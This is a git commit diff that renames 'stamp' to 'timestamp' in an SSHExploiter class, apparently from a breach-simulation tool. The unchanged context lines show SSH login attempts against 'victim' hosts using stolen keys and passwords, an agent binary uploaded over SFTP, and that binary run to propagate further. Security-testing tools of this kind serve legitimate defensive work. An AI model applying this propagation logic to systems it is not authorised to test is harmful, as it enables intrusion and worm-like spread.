Agent: Rename stamp to timestamp in SSHExploiter

This commit is contained in:
Ilija Lazoroski 2022-10-06 11:59:31 +02:00
parent e11bd2c7f2
commit f0112410c9
1 changed files with 11 additions and 11 deletions

View File

@ -91,7 +91,7 @@ class SSHExploiter(HostExploiter):
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
logger.error("Failed reading ssh key")
stamp = time()
timestamp = time()
try:
ssh.connect(
self.host.ip_addr,
@ -108,7 +108,7 @@ class SSHExploiter(HostExploiter):
)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(stamp, True)
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh
except paramiko.AuthenticationException as err:
@ -117,7 +117,7 @@ class SSHExploiter(HostExploiter):
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
)
logger.info(error_message)
self._publish_exploitation_event(stamp, False, error_message=error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
except Exception as err:
@ -142,7 +142,7 @@ class SSHExploiter(HostExploiter):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
stamp = time()
timestamp = time()
try:
ssh.connect(
self.host.ip_addr,
@ -158,14 +158,14 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(stamp, True)
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, current_password)
return ssh
except paramiko.AuthenticationException as err:
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
logger.debug(error_message)
self._publish_exploitation_event(stamp, False, error_message=error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
ssh.close()
continue
@ -237,7 +237,7 @@ class SSHExploiter(HostExploiter):
if status == ScanStatus.SCANNED:
raise FailedExploitationError(self.exploit_result.error_message)
stamp = time()
timestamp = time()
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
@ -252,12 +252,12 @@ class SSHExploiter(HostExploiter):
)
self.exploit_result.propagation_success = True
self._publish_propagation_event(stamp, True)
self._publish_propagation_event(timestamp, True)
self.add_executed_cmd(cmdline)
except Exception as exc:
error_message = f"Error running monkey on victim {self.host}: ({exc})"
self._publish_propagation_event(stamp, False, error_message=error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
raise FailedExploitationError(error_message)
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
@ -317,7 +317,7 @@ class SSHExploiter(HostExploiter):
monkey_path_on_victim: PurePath,
) -> ScanStatus:
try:
stamp = time()
timestamp = time()
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
@ -330,7 +330,7 @@ class SSHExploiter(HostExploiter):
return ScanStatus.USED
except Exception as exc:
error_message = f"Error uploading file into victim {self.host}: ({exc})"
self._publish_propagation_event(stamp, False, error_message=error_message)
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message
return ScanStatus.SCANNED